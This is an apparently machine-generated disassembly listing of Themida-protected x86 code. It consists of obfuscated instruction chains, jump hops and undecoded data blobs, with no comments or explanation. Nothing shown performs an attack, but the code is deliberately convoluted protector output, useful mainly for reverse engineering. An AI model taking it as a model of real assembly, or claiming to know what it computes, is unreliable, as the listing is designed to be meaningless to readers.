; ---------------------------------------------------------------------------


loc_56308A:				; CODE XREF: Themida_:00563E63j
		pop	esp
		jmp	loc_567176
; ---------------------------------------------------------------------------
		dd 5A5BDD29h, 0E902C583h, 2F12h, 9A75E955h, 0EC810000h
		dd 4, 24048F54h, 0FFD27AE9h, 240C8BFFh,	411368h, 241C8900h
		dd 0D2E8E954h, 0EDC00000h, 80CDFE07h, 0EB281CC5h, 0EF1E959h
		dd 0C6010000h, 5ADDC681h, 0ABE90E6Fh, 81000033h, 4C4h
		dd 0E9C12900h, 7D04h, 42474FFh,	24048F5Dh, 0E924248Bh
		dd 0FFFFF339h, 9D1C77FFh, 24041958h, 9318E99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56310A:				; CODE XREF: Themida_:00570BA1j
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		mov	esp, [esp]
		or	edx, eax
		shl	edx, 1
		push	dword ptr [edi+24h]
		push	ebp
		pop	dword ptr [edi+24h]
		pop	ebp
		push	53ECh
		mov	[esp], eax
		push	ebx
		push	20D84281h
		pop	ebx
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 20D84282h
		jmp	loc_56BA51
; ---------------------------------------------------------------------------
		db 5Ch,	0Fh, 0B6h
		dd 0CA47E9C0h, 0EC83FFFFh, 241C8904h, 0F70213BBh, 955BE912h
		dd 348BFFFFh, 4C48124h,	0E9000000h, 0FFFF92AAh
; ---------------------------------------------------------------------------


loc_563178:				; CODE XREF: Themida_:00561461j
		add	dword ptr [esp], 2E340A94h
		pop	ecx
		sub	ecx, 2E340A94h
		jmp	loc_55F494
; ---------------------------------------------------------------------------


loc_56318B:				; CODE XREF: Themida_:0056763Fj
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], esi
		mov	esi, esp
		push	ebp
		jmp	loc_56D611
; ---------------------------------------------------------------------------
		dd 0D828A8B3h, 0FFD9FDE9h, 50C328FFh, 0D83490B0h, 5203E0C0h
		dd 0E2C0DCB2h, 0F6E2D002h, 5DC280D2h, 0FEE9D030h
		db 0A5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5631C7:				; CODE XREF: Themida_:0056D13Dj
		pop	dword ptr [esp]
		push	ecx
		mov	ecx, 4
		add	[esp+4], ecx
		mov	ecx, [esp]
		add	esp, 4
		pop	eax
		add	eax, 4
		push	esi
		push	ebp
		jmp	loc_563CE5
; ---------------------------------------------------------------------------
		db 68h
		dd 6668h, 7074E9h, 2434FF00h, 0E9240C8Bh, 144Fh, 241C895Ch
		dd 0FFBD31E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_563205:				; CODE XREF: Themida_:00563F33j
		mov	[esp], esp
		push	edx
		jmp	loc_5632A7
; ---------------------------------------------------------------------------


loc_56320E:				; CODE XREF: Themida_:00560A43j
		xor	edi, 621D020Bh
		shr	edi, 4
		jmp	loc_55FD40
; ---------------------------------------------------------------------------


loc_56321C:				; CODE XREF: Themida_:0055F218j
		mov	ebx, [esp]
		jmp	loc_56C5E1
; ---------------------------------------------------------------------------
		dd 80DFE680h, 70E9BCEEh, 81FFFFA9h, 215906C1h, 0CE21E927h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56323A:				; CODE XREF: Themida_:00567890j
		pop	edx
		push	dx
		mov	dh, 32h
		jmp	loc_569228
; ---------------------------------------------------------------------------
		dd 2C8BE889h, 4C48124h,	0E9000000h, 8547h, 0E9242C33h
		dd 24E5h
; ---------------------------------------------------------------------------


loc_56325C:				; CODE XREF: Themida_:0055FD2Ej
		pop	eax
		add	eax, 4
		push	edi
		mov	edi, 4
		sub	eax, 7EA66331h
		sub	eax, edi
		add	eax, 7EA66331h
		pop	edi
		jmp	loc_55CD9A
; ---------------------------------------------------------------------------
		dw 0C829h
		dd 592434FFh, 5D5EE950h, 0F9010000h, 0FFEB59E9h, 241C8BFFh
		dd 49D0E952h, 0C1830000h, 240C8704h, 0EB9E9h, 89E95900h
		db 17h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5632A7:				; CODE XREF: Themida_:00563209j
		mov	edx, 4
		add	dword ptr [esp+4], 13761CC0h
		add	[esp+4], edx
		sub	dword ptr [esp+4], 13761CC0h
		pop	edx
		push	dword ptr [esp]
		pop	ebx
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		jmp	loc_566C65
; ---------------------------------------------------------------------------
		dd 8704EB83h, 895C241Ch, 8B5E2404h, 0C4832404h,	0FFF18904h
		dd 815E2434h, 4ECh, 24148900h, 0C281E289h, 4, 0BDCE950h
		dd 57B90000h, 5226E04Ch, 0F201D568h, 0C6F3E926h, 0D5F70000h
		dd 8103EDC1h, 0AB0890C5h, 5DE98914h, 0B850h, 81E90000h
		db 3Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_563333:				; CODE XREF: Themida_:0056DE4Cj
		add	edi, edx
		pop	edx
		sub	edi, 4
		xor	edi, [esp]
		xor	[esp], edi
		jmp	loc_5606D8
; ---------------------------------------------------------------------------
		dd 0FFF7C781h, 0F921FB16h, 5F2434FFh, 3E30E9h
		db 0
; ---------------------------------------------------------------------------


loc_563355:				; CODE XREF: Themida_:0057034Ej
		and	eax, ebp
		push	dword ptr [esp]
		pop	ebp
		jmp	loc_56A07D
; ---------------------------------------------------------------------------
		dd 9304F000h, 0E924148Bh, 0FFFFBD36h, 0E5C1815Eh, 6867131Ch
		dd 7D6Ah, 81243C89h, 3C242404h,	18F4BF3h, 3C24BA52h, 44E94BF3h
		dd 0B9FFFF98h, 788C4978h, 956816BFh, 59CF310Eh,	81FFC783h
		dd 8C418DF7h, 5FD4E97Bh, 0EB800000h, 4DB05021h,	6024C0FEh
		dd 0C300D62Ch, 80C30058h, 0C3806AEBh, 32B55121h, 0EDC0D5F6h
		dd 6E5C004h, 800AE580h,	0EB0042C5h, 0BEC38059h,	0FFB190E9h
		dd 0E08950FFh, 405h, 42D00h, 4870000h, 1C895C24h, 4EC8324h
		dd 24048F54h, 0FFDAFAE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5633FD:				; CODE XREF: Themida_:00561479j
		mov	ebp, [esp]
		jmp	loc_56509D
; ---------------------------------------------------------------------------
		db 50h,	54h, 58h
		dd 405h, 1C685500h, 0E9000007h,	0FFFFE5FFh
; ---------------------------------------------------------------------------


loc_563418:				; CODE XREF: Themida_:00561D31j
		push	3CE1h
		mov	[esp], ecx
		mov	ecx, 24h
		add	ecx, edi
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 0
		add	eax, 31DE4DDEh
		add	eax, ecx
		sub	eax, 31DE4DDEh
		push	ecx
		jmp	loc_55D611
; ---------------------------------------------------------------------------
		db 0FFh
		dd 5E042474h, 5C24048Fh, 0A9242C81h, 12B4605h, 0A6E92404h
		db 0DEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56345F:				; CODE XREF: Themida_:0056777Cj
		mov	[esp], edi
		sub	esp, 4
		mov	[esp], esp
		jmp	loc_57110E
; ---------------------------------------------------------------------------


loc_56346D:				; CODE XREF: Themida_:0056EEC1j
		add	dword ptr [esp], 4
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		jmp	loc_5636CE
; ---------------------------------------------------------------------------
		dd 1E02D5Fh, 0CAE93A34h
		db 0C1h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_56348B:				; CODE XREF: Themida_:00570D42j
		pop	esi
		xor	ebx, 5CF94419h
		jmp	loc_5658CC
; ---------------------------------------------------------------------------
		db 55h
		dd 4533B850h, 14BD18C7h, 8165FFAAh, 8A0327EDh, 81C52923h
		dd 8A0327C5h, 0E5C15823h, 0A4E58108h, 8144A125h, 824402CDh
		dd 5EDC14Eh, 41A3C581h,	0EF893874h, 5FFB015Dh, 0D587EB87h
		dd 6855D2F7h, 5123h, 8B241489h,	0C481242Ch, 4, 0EC81535Ah
		dd 4, 5B242C89h, 83242C8Bh, 0CAE904C4h
		db 0BBh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_5634FF:				; CODE XREF: Themida_:00561F3Cj
		add	ch, 0BDh
		add	ch, 15h
		jmp	loc_56B5D7
; ---------------------------------------------------------------------------
		dw 0C87h
aShs		db '$éH‘',0
		align 2


loc_563512:				; CODE XREF: Themida_:0056BF39j
		xor	esi, [esp]
		pop	esp
		push	edx
		push	ebx
		mov	ebx, 7328679Ah
		push	ecx
		mov	ecx, ebx
		mov	edx, ecx
		jmp	loc_569F3D
; ---------------------------------------------------------------------------
aBqi6As		db 'ïi6',27h,' é\',0Dh,0
		align 2
aIS		db 'ˆÁéº',0Bh,0
		db 0
; ---------------------------------------------------------------------------


loc_563539:				; CODE XREF: Themida_:0055F9B7j
		push	ecx
		jmp	loc_562A34
; ---------------------------------------------------------------------------
		db 29h
		dd 0DC09E9D8h, 1C89FFFFh, 26824h, 685B0000h, 32Ah, 8B241C89h
		dd 0E953240Ch, 0FFFFA193h, 1EE81h, 56500000h, 0BF0740BEh
		dd 65EE8138h, 0E94E7B18h, 0FFFFE8C2h, 0D0007EB2h, 58C6085Ah
		dd 0F680EED0h, 5AF328ABh, 66C0B60Fh, 0E95C5068h, 0C0B8h
		dd 4EC81h, 14890000h, 0AA7DE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5635A2:				; CODE XREF: Themida_:0055D983j
		xchg	ebp, [esp]
		mov	esp, [esp]
		bswap	eax
		push	6EE2h
		mov	[esp], eax
		jmp	loc_569EE9
; ---------------------------------------------------------------------------
		db 81h
		dd 141731C3h, 82C3816Bh, 816D0A12h, 0D72160EBh,	81F3294Dh
		dd 0D72160C3h, 82BE564Dh, 296D0A12h, 0F2E95EF3h
		db 0B5h, 2 dup(0)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		jmp	loc_56E45A
; ---------------------------------------------------------------------------
		db 81h
		dd 4C2h, 4C28100h, 0E9000000h, 0FFFF92D0h
; ---------------------------------------------------------------------------


loc_563604:				; CODE XREF: Themida_:00569CB6j
		mov	[esp], esi
		push	ebp
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		mov	ebp, [esp]
		add	esp, 4
		not	ebp
		xchg	ebp, esi
		push	edi
		push	edx
		jmp	loc_5697BC
; ---------------------------------------------------------------------------
		db 5
		dd 4, 5C240487h, 6979E9h
		db 0
; ---------------------------------------------------------------------------


loc_563631:				; CODE XREF: Themida_:00563E31j
		shr	ebx, 5
		not	ebx
		push	edi
		mov	edi, 0FDA5CCEEh
		jmp	loc_55CCD6
; ---------------------------------------------------------------------------


loc_563641:				; CODE XREF: Themida_:0056A914j
		push	64E2h
		mov	[esp], esi
		mov	esi, 464B2911h
		jmp	loc_55DB20
; ---------------------------------------------------------------------------
		db 0D1h
		dd 0F6F381EBh, 0F726782Dh, 81D3F7D3h, 0FA26F6C3h, 0AE8AE92Eh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56366A:				; CODE XREF: Themida_:005660C9j
		mov	edi, 4B6F7A90h
		xor	edi, 55E6289Eh
		dec	edi
		xor	edi, 1AC134D5h
		add	ebp, edi
		pop	edi
		add	ebp, edi
		sub	ebp, 44866D8h
		push	edx
		push	74BB0B9Ah
		pop	edx
		sub	ebp, edx
		jmp	loc_56449C
; ---------------------------------------------------------------------------
		db 52h,	0E9h, 0F5h
		dd 0BA000074h, 4, 335AD101h, 0C31240Ch,	240C3324h, 8324248Bh
		dd 1C8904ECh, 0D0BE5624h, 0E939B067h, 281Ah, 0C0EB815Bh
		dd 515EC4C5h, 0F94CE953h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5636CE:				; CODE XREF: Themida_:0056347Bj
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		mov	esp, [esp]
		and	eax, ebx
		jmp	loc_568BF7
; ---------------------------------------------------------------------------
		db 88h
		dd 88535AD0h, 5BD988C3h, 59C88858h, 0B7535B66h,	5BF9001Fh
		dd 0E980C128h, 0E958661Fh, 0FFFFD86Bh, 0E9242489h, 3EA3h
; ---------------------------------------------------------------------------


loc_563710:				; CODE XREF: Themida_:0056B096j
		pop	ecx
		pop	dword ptr [esp]
		pop	esp
		pop	dword ptr [esp]
		jmp	loc_569413
; ---------------------------------------------------------------------------
		db 0F6h, 0F1h, 66h
		dd 68CCB60Fh, 2A7Ch, 89243C89h,	4C781E7h, 68000000h, 395Fh
		dd 0E9242C89h, 0FFFFE247h, 5B242C86h, 8003E3C0h, 0C380AAEBh
		dd 8BD800FEh, 0C481241Ch, 4, 0ACD0E953h, 0BA520000h, 4
		dd 0FFEC8BE9h, 5E089FFh, 4, 42Dh, 24048700h, 240C895Ch
		dd 0B21484B9h, 80E9810Dh, 0E90DB214h, 0FFFF98C0h
; ---------------------------------------------------------------------------


loc_56378C:				; CODE XREF: Themida_:0055DD88j
		pop	ebp
		jmp	loc_55E23E
; ---------------------------------------------------------------------------


loc_563792:				; CODE XREF: Themida_:00567180j
		pop	edx
		jmp	loc_564B19
; ---------------------------------------------------------------------------
		dd 0B166D2BEh, 0E9F2316Ah, 3771h, 4C48358h, 0FF2434FFh
		dd 835A2434h, 895204C4h, 4C281E2h, 81000000h, 4EAh, 0E9ADE900h
		dd 0D5BAFFFFh, 833D9D21h, 0BE56FFC2h, 78193A4Fh, 0FF9228E9h
		dd 0E7C681FFh, 50386815h, 6662E9h, 2EC8100h, 66000000h
		dd 0B7241C89h, 66FA306Eh, 83241C8Bh, 0F28002C4h, 8BD3284Bh
		dd 6BE92414h
		db 0D5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_563807:				; CODE XREF: Themida_:0056CCBFj
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 1EA55D10h
		shr	ecx, 4
		sub	ecx, 97744BD4h
		sub	esi, ecx
		jmp	loc_56872E
; ---------------------------------------------------------------------------
		db 0B8h, 0E1h, 1
		dd 0C1016F16h, 0C1835858h, 218CE904h, 0D7F70000h, 640E68h
		dd 24048900h, 2810D0B8h, 58C70969h, 0FFAA6EE9h,	188B68FFh
		dd 0C890000h, 33BD5524h, 0B959CF56h, 0C16EC236h, 62F5E9h
		dd 74966800h, 4890000h,	2B824h,	16E90000h, 5B0000A7h, 8B66E830h
		dd 0EC83240Ch, 242C8904h, 0E3685D54h, 8900004Ch, 4FBA2414h
		dd 87063642h, 87D3F7DAh, 0FFC283DAh, 8C7B850h, 0C2090860h
		dd 1AF28158h, 4A58ED5Eh, 0E3F0EA81h, 0D501A104h, 4112E95Ah
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5638CA:				; CODE XREF: Themida_:00565558j
		mov	eax, [esp]
		add	esp, 4
		push	esi
		push	ebp
		push	eax
		mov	eax, 1CF73E65h
		push	5E4C3237h
		jmp	loc_561CD6
; ---------------------------------------------------------------------------


loc_5638E5:				; CODE XREF: Themida_:00562E17j
		push	edx
		mov	edx, 7FD26380h
		xor	ecx, edx
		pop	edx
		sub	ecx, 3F5676EBh
		add	ebp, ecx
		jmp	loc_570B9B
; ---------------------------------------------------------------------------
		db 83h
		dd 99E904C4h, 5DFFFFF7h, 9BC1E9h, 0E9E28900h, 0FFFF8C2Fh
; ---------------------------------------------------------------------------


loc_563910:				; CODE XREF: Themida_:0056523Ej
		mov	edi, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		sub	[esp+4], ecx
		add	dword ptr [esp+4], 62B761C3h
		jmp	loc_567815
; ---------------------------------------------------------------------------
		db 55h
		dd 443465BDh, 0F9C38160h, 2907683Dh, 0E074E9EBh, 0E901FFFFh
		dd 3F88E981h, 685D24FCh, 6D3Eh,	53241489h, 0EF25F768h
		dd 0EBC15B28h, 23BA5208h, 290028EFh, 2434FFD3h,	8124148Bh
		dd 4C4h, 4C48100h, 68000000h, 5D8Bh, 8B241C89h,	0C4812414h
		dd 4, 0E92434FFh, 2DCBh
; ---------------------------------------------------------------------------


loc_563998:				; CODE XREF: Themida_:0056EFE3j
		push	edi
		mov	edi, 7D207790h
		and	edi, 330A10DDh
		xor	edi, 9497066h
		or	edi, 0BBF527Dh
		not	edi
		dec	edi
		xor	edi, 0C4008CFBh
		mov	esi, edi
		pop	edi
		jmp	loc_56A900
; ---------------------------------------------------------------------------
		db 83h,	0ECh, 4
		dd offset dword_445750+4799h
		db 0
; ---------------------------------------------------------------------------


loc_5639C9:				; CODE XREF: Themida_:005693F0j
		add	ecx, 4
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		mov	esp, [esp]
		push	747Ch
		mov	[esp], ebx
		jmp	loc_564663
; ---------------------------------------------------------------------------


loc_5639E8:				; CODE XREF: Themida_:0056E061j
		pop	ebx
		sub	ecx, 28981013h
		add	ecx, eax
		add	ecx, 28981013h
		jmp	loc_55EC87
; ---------------------------------------------------------------------------
		dd 4C781h, 0C7810000h, 4, 5C243C87h, 3158C129h,	240C8BC8h
		dd 8104C483h, 4ECh, 85E8E900h, 0DEF70000h, 8103E6C1h, 0C75608F6h
		dd 8BF3010Ch, 0C4812434h, 4, 525BDF29h,	9E3B62BAh, 0AAB5E954h
		dd 2BF0000h, 29449D03h,	0EC815FFBh, 4, 0E9240489h, 0FFFFE142h
; ---------------------------------------------------------------------------


loc_563A5C:				; CODE XREF: Themida_:0055EFB9j
		xchg	edx, [esp]
		pop	esp
		push	eax
		jmp	loc_563E54
; ---------------------------------------------------------------------------


loc_563A66:				; CODE XREF: Themida_:0056B2BBj
		push	ecx
		mov	ecx, 4
		add	edi, ecx
		mov	ecx, [esp]
		add	esp, 4
		sub	edi, 4
		xor	edi, [esp]
		xor	[esp], edi
		jmp	loc_55D71A
; ---------------------------------------------------------------------------
		db 89h,	14h, 24h
		dd 8B2414F7h, 0C4812414h, 4, 1510C281h,	0EC835E61h, 241C8904h
		dd 0EC68E3BBh, 0F3E38167h, 4B66840Dh, 2685E381h, 0BAE93751h
		dd 81FFFFD7h, 454C04EBh, 0A5055F50h, 1237048h, 2F7FE9D8h
		dd 0F5890000h, 0E924348Bh, 258Fh, 3A70B951h, 0E1C13194h
		dd 4F18107h, 0E9CA1D38h, 6B29h,	348BF701h, 4C48324h, 0CBB85052h
		dd 2D4ABE14h, 4ABE14C7h, 2DE9C289h, 8FFFFFE7h, 45E92404h
		dd 8B000073h, 0E9552404h, 0CE0Ah, 48BC129h, 4C48324h, 1C65BF57h
		dd 0D4E95253h, 88FFFFC0h, 4FB368C3h, 0C5E90000h, 81FFFFCBh
		dd 4C4h, 8B90E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_563B3E:				; CODE XREF: Themida_:0056A277j
		push	edx
		push	eax
		mov	ah, cl
		mov	dl, ah
		pop	eax
		not	dl
		mov	cl, dl
		jmp	loc_56A054
; ---------------------------------------------------------------------------
		dw 45Bh
		dd 4FF0477h, 58C3007Ch,	0EB80C328h, 3FEB8054h, 0CFC5E9h
		dd 2434FF00h, 7A99E958h, 42BE0000h, 31673A69h, 0EA84E9F1h
		dd 0E953FFFFh, 0FFFFC17Bh, 2029102Dh, 0A9D9E95Fh, 0E955FFFFh
		dd 0AA7Eh, 52BA6652h, 0C281662Ch, 0F76607BEh, 0E28166DAh
		dd 44E93E45h
		db 7Ch,	2 dup(0)
; ---------------------------------------------------------------------------


loc_563BA7:				; CODE XREF: Themida_:0056003Aj
		add	esp, 4
		sub	esi, 6D8408E7h
		jmp	loc_56A4C5
; ---------------------------------------------------------------------------
		dd 8B240C33h, 5FE92424h, 5AFFFF88h, 4ABCB905h, 8F3AE9BAh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_563BCE:				; CODE XREF: Themida_:00560DA3j
		pop	ecx
		push	855h
		mov	[esp], edx
		mov	edx, esp
		push	edi
		jmp	loc_563CB8
; ---------------------------------------------------------------------------
		db 58h
		dd 4BE56h, 0F3010000h, 241C875Eh, 2BE565Ch, 1000000h, 0C7AE9F5h
		dd 0C3010000h, 1FCDE9h,	48B6600h, 351A6824h, 34890000h
		dd 4EC8124h, 89000000h,	4812424h, 424h,	24348B00h, 4C481h
		dd 0E9500000h, 0FFFF9839h, 555768h, 241C8900h, 0C381E389h
		dd 4, 8704C383h, 72E9241Ch, 81000024h, 964A02E9h, 5350E978h
		dd 34FF0000h, 89535E24h, 4C381E3h, 83000000h, 1C8704C3h
		dd 0EC835C24h, 24148904h, 780824BAh, 1EA8310h, 7862EA81h
		dd 5FE94CE7h
		db 1, 2	dup(0)
; ---------------------------------------------------------------------------


loc_563C7F:				; CODE XREF: Themida_:0056099Bj
		mov	esi, 7FF825F3h
		add	ecx, esi
		jmp	loc_560F9E
; ---------------------------------------------------------------------------


loc_563C8B:				; CODE XREF: Themida_:0056CF65j
		xor	[esp+4], edx
		pop	edx
		pop	ebp
		push	edx
		mov	edx, 167C0067h
		jmp	loc_55CDE9
; ---------------------------------------------------------------------------


loc_563C9C:				; CODE XREF: Themida_:00561814j
		pop	esi
		and	ecx, edx
		mov	edx, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		jmp	loc_55D9EA
; ---------------------------------------------------------------------------


loc_563CB8:				; CODE XREF: Themida_:00563BDAj
		push	ecx
		push	47CC4634h
		pop	ecx
		add	ecx, 0B833B9D0h
		mov	edi, ecx
		pop	ecx
		add	edx, edi
		pop	edi
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		jmp	loc_56FE33
; ---------------------------------------------------------------------------
		dw 148Bh
		dd 0E6895624h, 0FFE676E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_563CE5:				; CODE XREF: Themida_:005631E2j
		mov	ebp, 6FA45B27h
		xor	ebp, 26DF172Ah
		not	ebp
		sub	ebp, 76079712h
		mov	esi, ebp
		pop	ebp
		add	esi, 5827614Dh
		xor	esi, 142864FFh
		jmp	loc_568138
; ---------------------------------------------------------------------------
		dd 0E904C783h, 0BE4Ah
; ---------------------------------------------------------------------------


loc_563D14:				; CODE XREF: Themida_:00564DC6j
		add	esp, 4
		and	eax, edi
		pop	edi
		or	edx, eax
		shl	edx, 1
		push	4C4Dh
		mov	[esp], esi
		mov	esi, esp
		add	esi, 4
		push	edx
		mov	edx, 4
		jmp	loc_563FE7
; ---------------------------------------------------------------------------
		dd 4240481h, 0FF000000h, 0F1E92434h, 0BA0000C6h, 27BD1B0Ah
		dd 42E4FABDh, 8A84E9D8h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_563D5A:				; CODE XREF: Themida_:0055CD35j
		or	edx, eax
		shl	edx, 1
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xor	eax, [esp]
		jmp	loc_56F0F1
; ---------------------------------------------------------------------------


loc_563D71:				; CODE XREF: Themida_:0055E011j
		pop	esp
		mov	[esp], ebx
		mov	ebx, 77A73387h
		or	ebx, 52DA3CDDh
		jmp	loc_56E4C7
; ---------------------------------------------------------------------------
		db 0B9h, 40h, 53h
		dd 0CF017B61h, 83240C8Bh, 0EF2904C4h, 38C168h, 24048900h
		dd 6610BB53h, 50B8472Eh, 29C28FB9h, 0C7295BD8h,	8124048Bh
		dd 4C4h, 2434FF00h
		db 5Dh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	eax
		mov	eax, 4
		add	ebp, eax
		pop	eax
		xchg	ebp, [esp]
		pop	esp
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		pop	esp
		jmp	loc_562529
; ---------------------------------------------------------------------------
		dw 0E2C1h
		dd 8BC3E902h, 0EA010000h, 8990E9h, 241C8900h, 5DB55166h
		dd 52E88850h, 0B0E9C688h, 83FFFFF1h, 348704C6h,	6365E924h
		dd 0EC810000h, 4, 0B4240489h, 68D4F605h, 10E1h,	0E9241C89h
		dd 8612h
; ---------------------------------------------------------------------------


loc_563E24:				; CODE XREF: Themida_:00565D79j
		push	2D384A14h
		pop	edi
		push	ebx
		push	4B46625Dh
		pop	ebx
		jmp	loc_563631
; ---------------------------------------------------------------------------
		dw 4BBh
		dd 2D000000h, 0BC90262h, 0FF9783E9h, 1B0CBEFFh,	0F0216B74h
		dd 0E924348Bh, 96A3h
; ---------------------------------------------------------------------------


loc_563E54:				; CODE XREF: Themida_:00563A61j
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		jmp	loc_56308A
; ---------------------------------------------------------------------------


loc_563E68:				; CODE XREF: Themida_:0056826Bj
		not	ecx
		add	ecx, 8BC05361h
		mov	ebx, ecx
		jmp	loc_564A73
; ---------------------------------------------------------------------------


loc_563E77:				; CODE XREF: Themida_:0056DF98j
		pop	ebx
		jmp	loc_568708
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 0Ch
		dd 4EC8124h, 0E9000000h, 0FFFF9246h, 56242C89h,	66161BBEh
		dd 0BF574654h, 83408B3h, 0B8C0E94Fh, 2CB1FFFFh,	0B050D9F6h
		dd 192C68D5h, 1C890000h, 0C029B724h, 0B25204EFh, 0E9E2865Ch
		dd 0CCE6h, 0E99CC138h, 0FFFF855Ah, 4E63262Dh, 5E80147h
		dd 474E6326h, 5D2434FFh, 81E78957h, 4C7h, 0C0BFE900h, 86B8FFFFh
		dd 35395A5Fh, 418E35F4h, 4848D0F7h, 95862D48h, 0C201872Bh
		dd 24148758h, 9EE9565Ch
		db 0ECh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_563F07:				; CODE XREF: Themida_:00566E33j
		sub	edi, 0EB28CCFFh
		jmp	loc_567609
; ---------------------------------------------------------------------------


loc_563F12:				; CODE XREF: Themida_:0056AE76j
		mov	edi, 4
		add	ebx, edi
		pop	edi
		add	ebx, 4
		xchg	ebx, [esp]
		mov	esp, [esp]
		push	1245h
		mov	[esp], ebx
		push	60BFh
		jmp	loc_563205
; ---------------------------------------------------------------------------
		dd 5BF3685Eh, 4890000h,	0FE5B824h, 16E92FC3h
		db 98h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_563F4B:				; CODE XREF: Themida_:0055C44Fj
		push	edi
		mov	edi, 0D5DC2D0h
		add	ebp, edi
		pop	edi
		add	edi, ebp
		pop	ebp
		inc	edi
		shr	edi, 5
		and	edi, 725F71D8h
		push	3FFCh
		mov	[esp], esi
		mov	esi, 5317D70h
		jmp	loc_56C64F
; ---------------------------------------------------------------------------
		db 1
		dd 81082444h, 0C1082444h, 8B1C8951h, 0C4832404h, 24448104h
		dd 0B36F5304h, 2434FF43h, 4C4815Bh, 1000000h, 0BD552404h
		dd 1FAD1082h, 4246C81h,	68761B8Dh, 4246C01h, 2B2EBD55h
		dd 0F58166EFh, 0E9930A3h, 8246C01h, 5FE95D5Dh, 83FFFF84h
		dd 48904ECh, 13BFE924h,	15A0000h, 0D4EB81C3h, 8B1DC460h
		dd 0EC832404h, 242C8904h, 23E9E589h
		db 0D2h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_563FE7:				; CODE XREF: Themida_:00563D37j
		sub	esi, edx
		pop	edx
		xchg	esi, [esp]
		pop	esp
		mov	[esp], ebp
		push	63B8h
		mov	[esp], ecx
		mov	ecx, 263D006Eh
		dec	ecx
		inc	ecx
		jmp	loc_5622FC
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, 5CCB78B4h
		shl	esi, 6
		and	esi, 13F3560Eh
		sub	esi, 12D203FCh
		push	6971h
		mov	[esp], esi
		push	edx
		mov	edx, 791B6FF7h
		mov	esi, 746731C2h
		add	esi, 5B0C2488h
		add	esi, 1A8757C2h
		not	esi
		add	esi, 0BDAE54Bh
		xor	esi, edx
		jmp	loc_56A5E8
; ---------------------------------------------------------------------------
aVsU		db 'VéÕ“',0
		dd 24048F00h, 6824248Bh, 2ABh, 0FFFE2BE9h, 0E18951FFh
		dd 4C181h, 28E90000h, 83FFFFA1h, 565704C4h, 7B9F6852h
		dd 815A5AE2h, 0E27B9DEAh, 5AD6895Ah, 47E9F789h
		db 0A4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56408B:				; CODE XREF: Themida_:0056856Fj
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		and	eax, edx
		jmp	loc_5709FD
; ---------------------------------------------------------------------------


loc_564099:				; CODE XREF: Themida_:0055D596j
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_56588C
; ---------------------------------------------------------------------------
		dw 3489h
		dd 86A2E924h, 875AFFFFh, 0E95C2404h, 6729h
; ---------------------------------------------------------------------------


loc_5640B4:				; CODE XREF: Themida_:0056E6BEj
		or	edx, eax
		shl	edx, 1
		jmp	loc_566796
; ---------------------------------------------------------------------------
		db 81h,	0C7h, 4
		dd 81000000h, 4C7h, 243C8700h, 0FFBD7EE9h, 4E1C1FFh, 9CD5E956h
		dd 0C2810000h, 4, 0FFCCCDE9h, 73E959FFh, 29FFFFF6h, 6AE95BDDh
		dd 58000080h, 51592C5Ah, 0E8283EB5h, 4F15E959h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_564102:				; CODE XREF: Themida_:0056E6FFj
		pop	esp
		jmp	loc_571048
; ---------------------------------------------------------------------------


loc_564108:				; CODE XREF: Themida_:0055FFF7j
		push	eax
		push	ebp
		mov	ebp, 0C8823B2h
		xor	ebp, 774F25E7h
		add	ebp, 58F51C6Ch
		jmp	loc_566BE7
; ---------------------------------------------------------------------------
aIS_0		db '‰êéÍ/',0
		db 0
